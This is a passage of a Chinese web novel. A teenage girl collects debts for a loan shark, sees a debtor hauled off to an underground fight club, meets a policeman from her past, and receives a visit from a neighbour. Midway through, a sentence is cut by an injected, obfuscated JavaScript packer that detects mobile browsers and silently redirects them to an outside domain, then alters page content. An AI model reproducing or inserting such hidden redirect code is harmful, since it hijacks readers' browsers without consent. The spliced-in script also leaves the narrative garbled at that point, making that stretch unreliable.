巷子的尽头,是一扇关得严严实实的木门,门板陈旧,斑驳的漆皮像是从岁月里剥落下来,缝隙里透出一丝微弱的光,像是这屋子唯一剩下的一点喘息。 阮云琛站在那里,抬手敲了敲门。 三声,干净利落,不多不少。 屋里没有动静,她耐心地等了一会儿,然后又敲了敲。 这次的声音更重了一些。 片刻后,门后传来细微的动静,像是有人踩着地板的嘎吱声,那声音轻得几乎被风盖过去了。 门缝终于动了一下,缓缓拉开了一条窄缝。 探出头的是个男人,二十出头的模样,眼眶下压着一层浓重的青黑,脸色苍白,头发凌乱,衬衫扣子少了几颗,领口歪歪斜斜地挂在肩上。 他半张脸藏在黑暗里,另一半被那道门缝里的黄光照亮,神色里透着戒备与惊恐。 “谁?”他的声音很轻,像是怕惊动了什么。 阮云琛没有动,只是抬了抬眼皮,看了他一眼。 巷子里的风很硬,像把细碎的玻璃渣子,刮在脸上,生出一片凉意。阮云琛站在那里,外套帽子拢着半张脸,什么话也没说,只是静静地盯着门后那个男人。 男人似乎意识到了来的人是做什么的——哪怕那只是个看起来还没成年的女孩。 男人的目光躲躲闪闪,像只被逼到墙角的老鼠。他的喉结滚动了一下,指尖死死攥着门框,指节泛着青白,屋子里透出的黄光在他脸上洒下一片昏暗的影子,衬得整个人都缩成一团。 “你妈妈的钱,今天该还了。”阮云琛说。 那男人的身体明显一僵,手指死死地攥着门框,关节泛着青白。 “我妈……我妈说过了,再宽限几天,我们能凑齐的。”他声音发抖,眼神飘忽着,像是在找什么借口,又像是随时准备拔腿逃跑。 “宽限几天?”阮云琛的声音没有起伏,像是在重复一件无关紧要的事情。 她垂下眼,看着他苍白的脸,半晌才接着道:“工厂区往里走,最头间的那个铁门进去有个地下拳场,和安堂帮你报名了。” 男人的瞳孔猛地一缩,像是听见了什么天大的噩耗,整个人往后退了一步,声音都变了调:“我不去!那地方——那地方不是人能去的!去了就回不来了!” 他的话越说越乱,像是要把什么恐惧从胸口里吐出来,“拳场里的人,不是瘸了就是废了,活着出来的,哪一个手上没几道伤疤?那些人疯了,为了几个钱什么都敢拼,就差把命扔到地上让人踩——我不去,我不去!” 他的嗓音带着一丝尖利的哀求,像是被掐住了脖子一样。 阮云琛没有作声,只是抬起头,神色淡淡地看着他。 空气沉默下来,风从破旧的门缝里灌进来,带着一股潮湿的灰尘味。 她知道他说的那些没有夸张。 地下拳场,是人把自己往死里扔的地方,骨头断了、血流干了,都不一定能换回一笔钱。 十四岁那年,她也站在过那个台上。 那一片台上,光线黯淡,观众席上的吼叫和下注声像潮水一样把她淹没,拳风从耳边擦过去,皮肉相撞的闷响震得耳膜发麻。汗水和血水混成一团,从额头流下来,刺得眼睛发痛。她每次站起来,都像是在地狱里拽回一条命。 她利用了对手的轻敌,利用了小孩无穷尽的体力,硬生生扛了下来——十场,赢了十场。赢下的每一场,她的骨头仿佛都碎了一次,她抱着快要散架的身体走下拳台,混乱的视线里,全是刺眼的灯光和嘲弄的笑声。 但那又怎么样? 她拼了命,只是为了活下来,换一口气而已。 底下的人拼命砸着赌注,钱、包、首饰、还有那种白色的......大抵是宋祈口中提到的那个“东街的人”所交易的毒粉。 看客兴奋得争夺着筹码,谈笑风生;台上的人却只能拼死相搏。 阮云琛知道——地下拳场没有输赢,只有活着和死掉。 风从门缝灌进来,拂过她的脸颊,凉得像是一把冷刀。阮云琛突然觉得有些烦躁,胸腔里那股压抑了许久的情绪像是快要冲破喉咙。 她不想再看到同样的眼神——那些绝望、无助、求生不得的眼神。可她偏偏站在这里,又一次成了把人推下去的那双手。 她闭了闭眼,指尖在口袋里攥紧了那张欠条,指节泛白,像是要将那薄薄的一张纸捏碎。 “……你不去,”她开口,声音依旧冷硬,但像是穿过一层灰蒙蒙的雾气,“那你妈妈欠的钱,谁还?” 她站在那里,外套的衣摆被风拂起,冷风从脚下刮过,裹挟着她说出来的话,像是一把无形的刀,平静地落在男人的肩上。 男人哆嗦着嘴唇,说不出话来。 他看着阮云琛,眼神里夹杂着愤怒、恐惧,还有一点点难以言说的绝望。 他张开嘴,似乎想要反驳什么,可到嘴边的话像是被什么堵住了,哑口无言。 他知道,阮云琛说得没错。债已经拖了太久,像是一块压在胸口的石头,怎么也推不开。而他,又年轻力壮——他们没得选了。 高利贷,就是个无底洞。 “可……可当初借钱的时候,他没说是高利贷。”男人的声音带着几分发抖的愤怒和委屈,眼神闪烁着不甘,像是被逼到绝境的野兽,“他就说,急用的话先拿着,过段时间还就行……哪知道、哪知道利滚利滚成了这样!” 男人的话音里带着些控诉,可却又没底气,仿佛连愤怒都无处发泄,只剩下被逼急了的挣扎。 他的手指攥着门框,关节微微发白,指甲像是要嵌进木头里一样。 阮云琛听着,只是静静地看着他,神色没有一丝波动。 她知道,这样的话,她不是第一次听了。宋祈那种人,借出去的钱,什么时候明明白白地说过“规矩”? 从头到尾,不过是把人拴在一根无形的绳索上,拽一拽,看你什么时候断。 “你欠他的,不管怎么欠的,”她淡淡地开口,声音冷得像是一块冰,“都得还。” 阮云琛没有理会他的反抗。她抬头看了看那扇已经发霉的门板,目光淡淡地落回他脸上。冷风把她的声音吹得很轻,像是被风一遍一遍刮碎:“这是宋祈的规矩,不是我定的。” 男人的身体僵在那里,眼神里的光一点点熄灭下去。他的喉咙滚动了一下,像是想说什么,却一点声音也发不出来。 巷尾的风突然停了,空气像是被什么掐住了喉咙,沉寂得令人发慌。 一阵引擎的轰鸣声猛地传来,和安堂的黑车缓缓驶入,车灯的光柱穿透夜色,投在坑洼的地面上,亮得刺眼。 车停下的那一瞬间,门把手“咔”的一声,车门被推开,声音在夜里像一根细长的针,直直地扎进耳膜。 从车上下来两个高大的男人,他们穿着黑色的风衣,衣摆在风里猎猎作响,像是黑暗里拖拽的影子。男人的脸半隐在光影之间,五官被硬冷的线条切割得没有一丝温度,目光扫过来的时候,就像一把钝刀,透着不加掩饰的漠然。 “走吧。”其中一个男人开了口,嗓音沙哑低沉,没有感情,像是录音机里播放的一段冷冰冰的指令。 门口的年轻男人愣在原地,脸色唰地一下白得像纸。 他的后背贴着门框,手指发抖地扣紧木门的边缘,关节泛着青白的光。他的嗓音带着崩溃的颤抖,像是硬生生从喉咙里挤出来的:“不、不行!我不能去!求你们——” 话音还没落下,那两个人已经上前,动作干脆利落,像是经过无数次练习的程序。他们一左一右扣住他的胳膊,男人挣扎着,身体像是断了线的木偶,踉跄着被拖了出来。 “放开我!放——” 黑布袋兜头套下去的瞬间,男人的声音戛然而止,剩下的挣扎变成了含混不清的呜咽声。 他的脚在地上拖出一道道灰痕,鞋底擦过砂石的声音细碎而刺耳。 阮云琛站在一旁,试图用帽檐遮住眼睛,将自己和一切都割裂开来。她的手指在外套口袋里收紧了一瞬,随即又放开了。 周围的棚户区依旧是一片死寂。 黑车的引擎声轰鸣着走了远,像是野兽喘息的回音,一点点消散于远方。 楼上的窗帘忽然一拉,有人悄悄地躲回了房间;另一侧的窗户里,一双眼睛探出来偷看了一眼,又迅速地缩了回去,窗框被关上时发出一声闷响,像是生怕被卷进什么风暴。 这里的人已经习惯了这种场面——或者说,他们习惯了什么也不看、什么也不说。 冷风卷起地上的尘土,裹挟着男人的挣扎声远远地飘散开去,最后彻底没了动静。 阮云琛看着那辆黑车调头驶远,消失在巷尾深处的黑暗里,整条街重新归于寂静。她的目光掠过地上的痕迹,沉默地站了一会儿,才转过身,准备离开。 夜色深沉,棚户区的空气里弥漫着潮湿的霉味,偶尔有风卷起地上的纸屑,打着旋儿飞远,最终消失在黑暗里。 街道的尽头,一盏老旧的路灯还亮着,昏黄的光摇摇欲坠,像是随时都会熄灭。 阮云琛站在路边,手插在外套的口袋里,低头看着自己脚尖的影子。 刚刚那辆黑车留下的车辙已经被灰尘掩盖,仿佛什么都不曾发生过。这一片区域,安静得可怕,门窗紧闭,只有几盏灯还亮着,却透不出一点活人的气息。 她的脑袋里有些空,身体却习惯性地迈开步子,准备往巷口走去。风刮过脸颊,带来一阵刺骨的凉意。 就在这时,巷子口传来一阵窸窸窣窣的声响。 有人拎着东西从路对面走了过来,步伐带着点疲惫,脚步声混着袋子里物品的碰撞声,零零散散地飘进耳朵里。 阮云琛没有抬头,随意地扫了一眼,以为是哪家晚归的住户,便收回了视线。 那人却突然停了下来。 一片寂静里,阮云琛感觉到一道目光落在自己身上,带着几分探究和迟疑。她皱了皱眉,抬头看去。 巷口的路灯下,站着一个人。 那人穿着皱巴巴的蓝色衬衫,袖口像是被汗湿过又风干,留下一圈深浅不一的褶皱。 他手里拎着两个超市塑料袋,袋口撑得快要裂开,露出几根绿叶菜和一袋面包,狼狈得像是刚从加班的深渊里匆匆逃出来,顺手拎了些能凑合一晚的晚饭。 昏黄的灯光落在他脸上,照出他眼底掩不住的疲惫。他眯着眼打量着她,眼神从惊讶到犹疑,最后在阮云琛的脸上停住,眉头微微拧了起来。 “阮……”他试探着开口,声音沙哑得像是一扇陈旧的门板被人推开。 他顿了顿,似乎在从记忆里翻找那个久远的名字,终于确认了什么,语气里带着点意外:“......阮云琛?” 这三个字一落下来,巷子里像是忽然变得更静了。 风从巷口刮过,带起路边垃圾堆里破塑料袋的窸窣声,远处传来几声模糊的狗吠,像是从别处的夜色里飘来的回声。阮云琛的脚步停住了,僵在原地,连呼吸都似乎轻了半分。 她愣了一下。 那一瞬间,思绪像是被什么从脑海深处拽了出来——遥远的记忆零散破碎,如同沉在水底的瓦片,冷不丁被捞起,带着一股湿漉漉的寒意。 她抬起头,目光直直地落在眼前的男人身上。 皱巴巴的衣服,胡子拉碴的脸,和那双藏着疲倦的眼睛。他拎着超市塑料袋,手指微微发白,像是久握过重物。 这样的模样,和那时候记忆中的画面几乎对不上号,可那张脸,那种带着审视与犹豫的眼神,却让她心里某根弦猛地绷紧。 阮云琛的眉心微不可察地皱了一下,喉咙里干涩得像是塞满了灰尘。她下意识地攥紧了口袋里的手指,皮肤硌着那张被揉皱的欠条边缘,微凉的触感将她拽回现实。 是他。 那年雨夜,他站在警车旁,撑着一把黑伞,语气平淡地对她说:“放心,没人会伤害你们。” 她记得。 九岁时的雨太冷了,浸透了她破旧的衣服,也透进了她的骨头里。她抱着淼淼,低着头,没有看他,但她却记住了他的声音,那种不容置疑的平静和稍纵即逝的温柔。 但世上的事没有“放心”二字。他们最终还是去了福利院,去了那座被锈迹和潮气填满的孤儿院。 夜风从他们之间穿过,像是某种无形的隔阂,又像是把过往的记忆一丝一缕地吹散。 她眼里的怔愣渐渐散去,像是波纹平息的湖面,重新恢复了沉静。她的目光冷静地掠过他,最后落在地面,影子被路灯拉得细长,扭曲得像一根绷紧的绳索。 “阮云琛?”廖致远又重复了一遍,声音里带着几分小心翼翼的确认,像是在等待她的回应。 阮云琛安静地站在那里,没有立刻开口。 她在思考。 她在努力压下心底涌起的情绪,不想让外人看得见分毫。 半晌,她才稍稍抬起眼皮,目光淡淡地扫了他一眼。 “你和你妹妹......过得怎么样?”廖致远又开了口,声音里带着几分小心翼翼的确认,像是在从记忆的灰烬里捡起一个尘封已久的问候。 阮云琛的指尖微微蜷缩了一下,手掌在外套口袋里握紧又松开。 她抬起头,眉眼间带着一点模糊的茫然,又很快敛了回去,取而代之的是她惯常的淡漠。 “还……行吧。”她说。 这三个字说得云淡风轻,却硬生生将他所有试探的余地堵死了。 廖致远的喉结微微动了一下,垂下目光,像是被她的平静噎住了什么。 他的手指捏紧了超市袋的提手,塑料袋发出微弱的沙沙声。他本想再说些什么,可话到嘴边,却像是一股烟,散在寒冷的夜风里。 老警察的目光落在她的脸上,心里似乎有什么东西微微泛酸。 他看着她,像是努力想从她的神情里找到些什么,可阮云琛站在那里,表情平静,像是一块没有裂缝的石头。 ——只有阮云琛自己知道,那块石头的里层早就布满了缝隙。 廖致远没再说话,沉默地站在那里,手里的塑料袋因为风的晃动发出细碎的声响。他抿了抿嘴角,像是想再问点什么,最终却只是看着她,轻轻地叹了口气。 “这样啊。”他说,声音低沉得像是在自言自语,语气里透着一丝说不清道不明的疲惫和无力。 “你怎么在这儿?”他还是问了一句,嗓音低哑,听不出情绪。 阮云琛没有回答,她的步伐没有停,鞋底擦过地面的声音很轻,落在这片安静得近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909457|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎死寂的夜里,像是被风一口一口吞掉了。 她侧身绕过他,像是要把他的存在连同这段相遇一起丢进夜色,走得果断而冷漠。 廖致远看着她的背影,眉头微不可察地皱了一下。 灯光从他身后的路灯下洒下来,拉长了他的影子,也将他脸上的疲惫照得更深。他拎着塑料袋的手微微用力,发出一点细碎的声响,仿佛是这片死寂里唯一的喘息。 “这里……不是什么好地方。” 他的声音从背后传来,低沉而沙哑,像是刻意压低了音量,透着一股克制的无奈,又带着那么一点犹豫,像是说出口的瞬间,自己也觉得没什么用。 阮云琛的脚步微微一顿,手指在口袋里蜷缩着,碰到了那张早已被捏皱的欠条。 冰冷的纸张透过指腹,仿佛要把那一串串压得喘不过气的数字刻进她的骨头里。 她没回头,只是站在那里,目光落在远处黑漆漆的棚户区里。 夜色将那些破败的房屋吞没,只剩下一扇扇窗户里若隐若现的光,像是一双双躲在暗处窥探的眼睛,又在她看过去的时候迅速地缩回阴影里。 “是啊,”她开口,声音很轻,带着一种虚无的平静,“这里不是好地方。” 廖致远站在原地,眉间的疲惫似乎更深了一些。他看着她,目光透着一丝说不清道不明的复杂情绪。 “你一个人……住在这儿?” 这句话脱口而出,他自己都有些愣住,像是连自己也没想到,居然会问出这样的问题。 空气仿佛静止了一瞬。 阮云琛依旧没有回头,脚步似乎只停顿了一秒,便继续往前走。她的肩膀微微绷着,背脊挺直,整个人像是一根被风拂过的钢丝——纤细,却透着一股随时要断裂的绷紧。 那是戒备。 也是克制。 她不想让廖致远看见任何——任何一点破绽。 福利院?她早就离开了。 她不想让他知道,那里的日子早已成了她甩不开的梦魇,那股阴冷的霉味和尖锐的目光,从走进去的第一天,就缠住了她。 淼淼的病?她也不想说。 她记得,医生那天在病房里提起“遗传性肺动脉高压”时的语气,低沉而缓慢,仿佛生怕把那些病理的词汇砸得太重。她站在一旁,双手死死地攥着病历,指尖冰凉地渗出汗。五十万的手术费像一堵高墙,压得她喘不过气。 她靠打拳、靠讨债,把命拴在刀尖上,才勉强凑了出来。 可后续呢? 医生说,病情会反复,手术不过是个开始,那颗脆弱的心脏就像一片薄薄的纸,被封在她妹妹的胸腔里,随时都有可能再次破碎。 她回到了老房子。 那个爬满了藤蔓、散发着潮湿霉味的旧楼,邻里见了她像是见了鬼一样躲着走。而她就这样一个人,拎着破旧的钥匙,站在那扇熟悉的门前,脚底下的台阶早已斑驳不堪。 那个家,她不愿意让任何人知道她回来了,因为一旦被知道,就会像被抽丝剥茧一样,把她残存的保护壳撕开。 更不用提宋祈。 那个人是她身上唯一挥之不去的污点,也是她赖以生存的枷锁。她的命,是宋祈从深渊里捞出来的,而现在,她得用自己来偿还那些永远也还不清的债。 她知道,廖致远是个好人。或者说,他是那个夜晚里,唯一为她撑起伞的人。 可他是警察。她不想让他知道任何东西,哪怕是一点蛛丝马迹。 他不该知道。 他不能知道。 ——他是警察。 阮云琛的指尖蜷缩在口袋里,掌心里被捏皱的欠条硌得她生疼,像是一道道细小的针刺,将她从那些回忆里扎回现实。 她的后背挺得笔直,连一丝怯意都没有泄露出来。 “路过。”阮云琛说。 廖致远站在那里,目光定在她的背影上。 风从两人之间吹过,带走了她的回答,只留下了一片死寂。 廖致远忽然想起了很久之前的那个夜晚——她站在警车旁,瘦小的身体几乎被风雨打透,怀里抱着那个小小的孩子。 她的眼神里藏着一股让人说不上来的冷静与倔强。 时间已经过去这么多年,可她站在那里,肩膀微微弓着,眼神低垂,却还是那个模样——像是一块刀锋下的石头,死死撑在那里,不肯塌下去。 巷子里的风很冷,呼啸着卷过破旧的砖墙,带着棚户区独有的潮湿气息,夹杂着一些若有若无的霉味。风声从两人之间穿过,把这短暂的沉默拉得很长。 廖致远盯着阮云琛,目光在那张微微回过来的侧脸上停了片刻,又落到她那件泛白的旧外套上,嘴唇微微动了动,像是想说什么,却又犹豫着没开口。 阮云琛没有看他。 她视线低垂着,像是在凝视地面投下的影子。影子被拉得很长,贴在地上,和那些斑驳的墙壁一起融成一片灰暗的色调。她的指尖在口袋里微微发紧,抚摸着那张皱巴巴的欠条,掌心的温度冰凉得像是浸过夜露。 她感觉到廖致远的目光,沉沉地落在她身上,有点重,又有点温和,却莫名让她觉得不安。 她忽然觉得这一刻太安静了,安静得像是深夜里被拉开的窗帘,什么都藏不住。 “这样啊。”廖致远的声音终于再次响起,低沉而平静,像是接受了什么,又像是自言自语。 阮云琛的睫毛颤了一下,没有说话。 她不想回应,也不知道该如何回应。 她知道,廖致远看见了她的狼狈,看见了她那些藏不住的痕迹,而他的目光越是温和,就越像是一把钝刀,割得她胸口隐隐发疼。 廖致远的目光收回,手里的塑料袋被他换了个手,发出一声轻微的“沙沙”声,仿佛把这沉默掀开了一道缝隙。他侧了侧身,像是怕挡住了她的去路,又像是在寻找着什么措辞。 “……你现在,在哪里上学?”廖致远的声音很轻,带着试探,像是生怕惊扰了什么。 阮云琛的指尖在口袋里攥得更紧了一些,捏皱的欠条硌得她的手心隐隐发疼。她很清楚,廖致远是在试探,或者说,是他本能地发出的关心。 但她知道,这份关心不属于她,也不该属于她。 “这和你有什么关系?”她抬头看了他一眼,声音淡漠而疏离。 廖致远的眼神微微一滞,像是没料到她会这么说。他张了张嘴,想要说些什么,最后却只是沉默下来。他很清楚,这孩子的警惕,不是一朝一夕养成的。 风从巷子口灌进来,裹挟着潮湿的冷意,将两人之间的沉默拉得更长。远处传来几声拖沓的脚步声,随即又悄无声息地消失在黑暗中,像是这里的空气本就容不下多余的动静。 “……我刚搬来这儿。”廖致远突然开口,声音不高,却带着几分莫名的意味。他的手指微微摩挲着塑料袋的提手,视线落在不远处那扇微微晃动的窗户上。 阮云琛没有说话,目光只是淡淡地扫了他一眼,带着一种习惯性的疏离。 “这片地方,”廖致远顿了顿,像是在组织措辞,语气不动声色地继续道,“不太安生,最近……有些社会上的人活动得频繁些。” 这句话说得轻描淡写,甚至刻意模糊,但落在阮云琛耳里却分外沉重。 她的目光微微一凝,手指在口袋里不自觉地收紧了。那张被攥得皱巴巴的欠条触感冰凉,像是提醒她——她走的路,从来没有什么“安生”可言。 廖致远看着她的侧脸,目光深了几分。 他没继续说下去,那些更复杂的事情,也不适合对眼前这个孩子提起。他只是觉得,眼前的阮云琛,站在这条冷风四起的巷子里,实在太单薄了。 “这片地方不好,别待太久。”他补充道,语气依旧很淡,带着一点不易察觉的叹息。 35. 造访 阮云琛依旧没有回应,像是把所有情绪都压在了眼底。她抬头看了一眼夜色,黑得深沉,像是一块蒙在城市上方的幕布,把一切都包裹得密不透风。 她没有看廖致远,迈开步子继续往前走,步伐平稳而果断,像是被风推着一样。 廖致远站在原地,看着她的背影逐渐融入黑暗里,手里拎着的塑料袋在风中轻轻晃了晃。他本能地想再说些什么,可话到嘴边,却变成了一声轻不可闻的叹息。 他没再问什么。 巷子里安静得能听见风声穿过屋檐的低鸣。阮云琛走得很慢,鞋底在水泥地上摩擦出细碎的响动。 她的手还插在外套口袋里,指尖捏着那张欠条,皱皱巴巴的纸张硌着皮肤,却莫名让她觉得心里平静了一些。 她抬头看了一眼头顶的天,巷子里的电线像蛛网一样横亘在天空中,缠绕着风吹来的尘土。 昏黄的灯泡挂在半空,忽明忽暗,仿佛下一秒就会熄灭,彻底把这里丢进黑暗里。 她顺着熟悉的路走回去,穿过那条巷子尽头的狭窄弄堂,走到那扇早已锈迹斑斑的门前。墙皮斑驳,青苔从角落里蔓延出来,像是这个地方最后一点倔强的生机。 阮云琛推开门,门轴发出一声刺耳的“吱呀”,像是嘲讽,又像是一种无声的迎接。 屋里黑得像口井,黑暗毫不留情地吞噬了一切,她站在门口,静静地听了几秒,确定除了风声外,这里没有任何动静,才摸索着打开了灯。 昏黄的光从头顶垂落下来,映照出满是裂缝的天花板,仿佛随时会碎成一块一块,砸下来,把她压在这片逼仄的空间里。桌椅、柜子、窗户,甚至是墙角的蛛网,所有的一切都被光线勾勒出细密的纹路,破旧、陈旧、疲惫,就像她现在的心情。 她走到桌前,把手里的欠条放下,纸张接触木桌的瞬间发出极轻的“沙”声,像是尘埃落地。 阮云琛盯着那张纸,目光怔了片刻,随即慢慢脱下外套,搭在椅背上,动作不疾不徐,却透着一股说不出的力竭。 四下安静得可怕,只有窗外的风声一阵阵地灌进来,偶尔夹杂着远处传来的狗吠声——单薄、破碎,在这片棚户区里显得愈发遥远。 她坐了下,手指落在桌面上,冰凉的木纹透过指腹渗入骨头里,她不自觉地摩挲着,力道一遍比一遍轻。 阮云琛靠在椅背上,抬起头看着头顶那盏摇摇欲坠的灯泡。光晕很弱,仿佛随时都会熄灭,她的眼神随着那光线一起发散,逐渐没了焦距。 廖致远的脸浮现在脑海里,那双眼睛,带着微妙的探究和复杂的善意,让她觉得格外刺眼。 那一声“这里不是什么好地方”还回荡在耳边,提醒着她,他依然还是那个能说出这种话的“外人”——清白、正直、站在规则之外的外人。 可他提醒的“不安全”,恰恰是因为她自己。 她就是那个让这一带“不安全”的原因之一。那些债主家的哭声、绝望的眼神,那些被黑车拖走的人,还有地下拳场里被打得爬不起来的身影——每一场催债,每一步走过的路,背后都留下一道难以抹去的影子,而她正是其中的刽子手之一。 这一切,就像一团湿冷的灰尘,悄悄黏在她的衣角、皮肤上,甚至钻进了她的骨头里。 阮云琛觉得自己像是刚从泥里拔出来似的,满身都是擦不掉的污渍,黏腻而冰凉。 她闭了闭眼,脑海里闪过那些哭喊和挣扎的画面,带着一种挥之不去的烦躁。 每到这个时候,她都告诉自己,这只是个活,是必须要做的事,可那股阴冷的湿意还是会趁着夜深时爬上来,像是要把她的心整个冻住。 手指不自觉地攥紧了桌上的欠条,阮云琛抬起头,看向窗外。黑夜将棚户区笼罩得死死的,房檐的影子交叠在一起,仿佛一双双漠然的眼睛,窥探着所有肮脏的秘密。 而最近,这一切似乎愈发频繁了。 宋祈一次次地把她派到这里——这个棚户区,这些灰扑扑的街道。这一带的居民早已经习惯了见不得光的交易,也习惯了像老鼠一样蜷缩在自己的阴影里,关紧门窗,尽量让自己与一切麻烦绝缘。 她原本没多想。只觉得这不过是普通的差事,哪里欠钱就去哪儿,可现在回过头细细一想——未免也太巧了。 淮龙市不缺欠债的人,为什么偏偏是那片棚户区? 那里离福利院很近,近到一抬眼,远远就能看到那扇斑驳大门上残缺的几个字。 她垂下眼,指尖缓缓摩挲着掌心那道被欠条压出的折痕,目光微微一凝——宋祈不可能不知道,当年是谁把她们送去的福利院。 他什么都知道。 他手底下的那些眼线,像是老鼠一样,钻进城市的每个缝隙里,所有风吹草动都逃不过他的眼睛。 他是......他是故意让她来这里的,不是因为这里的钱收得更快,而是因为这里的街巷、这里的气味、这里的人,能把她丢回那些不堪的记忆里,让她看清自己现在的身份和位置。 “你是个工具,”宋祈总是这么说,嘴角带着一丝意味深长的笑,声音里透着漫不经心的残忍,“记住,你的命是我给的,你要乖乖替我做事。别妄想那些有的没的。” 阮云琛的胸口微微起伏,屋里的空气像是凝固了一般,沉重得让她透不过气来。 那就是宋祈的恶趣味——把人丢回过去,再狠狠按住,让你看清楚你挣扎不过的命运。 她抬起头,看着昏黄的灯光洒在满是裂纹的天花板上,眼神里透出一丝冷淡的空洞。 ——宋祈这样的人,能做出什么事,她一点也不意外。 阮云琛忽然觉得很疲惫,像是从骨头缝里涌出来的那种疲惫,压得她整个肩膀都沉了下去。 “烦死了。”她轻轻说了一句,嗓音低哑得像是风吹过树梢,不带任何起伏。她抬起手,揉了揉眼睛,指尖触碰到眼皮时,才发现那一片凉意不知何时已经蔓延到了脸上。 她靠在那里,脑海里乱糟糟的,欠条、宋祈、拳场、廖致远……这些东西像是缠在一起的麻绳,勒得她喘不过气。 “我到底在干什么?” 她突然觉得自己像是困在一座牢笼里的野兽,四周都是看不见的铁栏杆,伸手抓了抓,只会握住空气,最后落回原地。 她目光扫过屋子里的每一个角落,椅子的漆皮剥落一块,裂开的窗户透进湿冷的风,墙角的阴影里浮着一层斑驳的潮气,仿佛随时会开出什么湿漉漉的霉花。 阮云琛站在原地,感觉自己就像一颗掉在地上的旧纽扣,黯淡、冰冷,又无声无息,谁也不会在意它是怎么掉下来的,更不会有人弯腰捡起。 外面风声呼啸,窗户的玻璃轻轻摇晃,发出一声声细碎的呻吟。风像是有生命的东西,在破旧的房间里穿梭,隐约有点恶意。 她闭了闭眼,呼吸缓慢地进出,带着难以察觉的耐心,像是强迫自己镇定。手伸过去,头发从脸侧捋到耳后,机械而熟练,仿佛只有这个动作是她还能掌控的。 屋子里只剩下钟摆一样的风声,节奏轻缓,单调得让人脑仁发痛。阮云琛垂着眼坐回桌前,指尖轻轻敲了敲木制桌面,清脆的“哒哒”声是她留给自己的提醒:别想太多。 桌上摊开的习题册还留着几道没解完的空白,她本不该停下的—— “咚、咚、咚。” 门被敲响了。 三声,清晰而克制,似乎还带着试探的意味。声音并不重,但在这空荡的房间里,显得格外分明,像是一块小石子,落进了原本死水般的静谧里。 阮云琛的动作停了下来,笔尖在纸面上划出一条浅浅的印痕。她抬起眼,目光缓缓落在门的方向。 风从窗缝里灌进来,带着夜晚的寒意,吹动桌上的纸页,发出轻微的簌簌声。房间里太安静了,安静得每一点动静都显得格外突兀。 桥下的孩子? 这个念头从脑海里浮起来,又很快被压了下去。她没多想,只是习惯性地皱了皱眉头。 那个男孩有时候会提前来,坐在楼下的台阶上,抱着那本皱巴巴的习题册,安安静静的,像一团影子,静得让人一时会忘了他的存在。 但他总是会等,等她回来,再小心翼翼地跟上来。他不说话,也不主动敲门,只是坐在那里,安静到仿佛与这个世界隔绝。 阮云琛低头看了一眼习题册,目光有些发散。习题册的纸页已经被翻得发软,边缘皱皱巴巴,角落里还留着脏污的印记。 她盯着那条不小心划出来的笔痕,手指轻轻摩挲了一下,指腹蹭过粗糙的纸面,像是在思考什么,又像是什么都没在想。 敲门声又响了一次,依旧不重,却透着点执拗的耐心。 “咚、咚。” 阮云琛的眉头微不可察地动了动,像是被打断了思绪。她放下笔,椅子腿摩擦地板的声音在寂静里拉得很长。她起身,动作不急不缓,走向门口。 她的手搭在门把上,停顿了片刻。门把手有些冰凉,金属表面带着风吹过的湿气,一丝一丝地渗进皮肤里。 风还在吹,窗户被摇晃着,发出轻微的“嘎吱”声,像是有什么东西正在缓缓挤进这间逼仄的屋子里。 阮云琛站在门后,掌心的温度慢慢传递过去,把那一点凉意熨平了几分。她微微眯了眯眼,深吸一口气,才伸手拧开了门锁。 门开了一半。 寒风立刻灌了进来,带着外面夹杂着灰尘的湿冷,扑在她脸上,顺着衣领灌进脖子里。楼道里的灯泡昏黄又摇晃,光线勉强落在门外的人身上,却显得更加冷淡和模糊。 阮云琛的目光落在那道身影上,愣了一下。 门外站着的并不是她想的那个人。 ——是住在楼上的程一冉 程一冉穿着那件洗得发白的薄外套,双手揣在兜里,站在那里,像是已经站了很久。 她的发梢被风吹乱,几缕发丝贴在额头上,脸颊被风吹得微微泛红,眼神里闪过几分迟疑,又带着点不安。 阮云琛一时间没说话,只是看着她,眉头几不可察地蹙了蹙,像是没料到她会突然出现在这里。 “你——”她张了张嘴,声音刚出口,便被风打断了。 程一冉的目光闪了闪,没等她问完,便立刻垂下了眼,像是刻意在躲避她的视线。 她抿了抿唇,双肩微微塌着,鞋底在地上磨蹭了两下,像是想开口,又被什么东西堵住了喉咙。 风把她的外套吹得有些松垮,衣角卷起的弧度在昏暗的光线里显得有些狼狈。 阮云琛看着她,目光微微沉了沉,声音平静又淡漠:“找我有事?” 程一冉抬起眼,目光在她脸上停留了短短一瞬,又迅速移开。她的嘴唇微微动了动,像是酝酿了很久,最终却只是低声说了一句:“没事。” 说完,她猛地后退了一步,像是突然失去了所有的勇气,甚至连转身的动作都显得有些慌乱。 “我……路过。”她的声音很轻,混在风里,听上去有些发抖。 下一秒,她掉头跑了。 阮云琛愣在原地,看着程一冉的背影消失在楼梯拐角,楼道里只剩下一串急促的脚步声,回荡在冰冷的墙壁上。 风还在吹,吹得门框微微颤抖,发出细碎的“咯吱”声。 阮云琛收回目光,缓缓将门关上。门扇与门框碰撞时,发出一声沉闷的响声,将所有风和寒意都关在了外头。 屋里重新安静下来,只剩下窗户间断的摇晃声,仿佛一切都回到了刚才的模样。 她靠在门后站了一会儿,目光垂下,扫过地面那道被光影勾勒出的缝隙。 程一冉为什么来? 阮云琛不知道。 门关上以后,房间里的风声还未完全散去,窗户摇晃的声音轻轻地响着,像是某种掩饰不住的窸窣。 她靠在门后站了一会儿,目光低垂着,落在地板那一道道看不出年头的裂缝里,一时间出了神。 程一冉为什么突然找上门来? 阮云琛没多想,猜不到的事,她一向不费力气去琢磨。 但程一冉那双游移的眼神,那句“没事”的仓促掩饰,还有她突然退走时的背影……有些东西,阮云琛还是捕捉到了。 ——她家里有债。 这些天,程一冉脸上的疲惫越来越明显,眼底压着一层深重的乌青,像是连续几个晚上没睡好觉了。 她平时说话总是冷冷的,浑身透着股跟人较劲的倔强劲儿,但今天站在门口时,她的肩膀塌得不像她了。 是走投无路了吧? 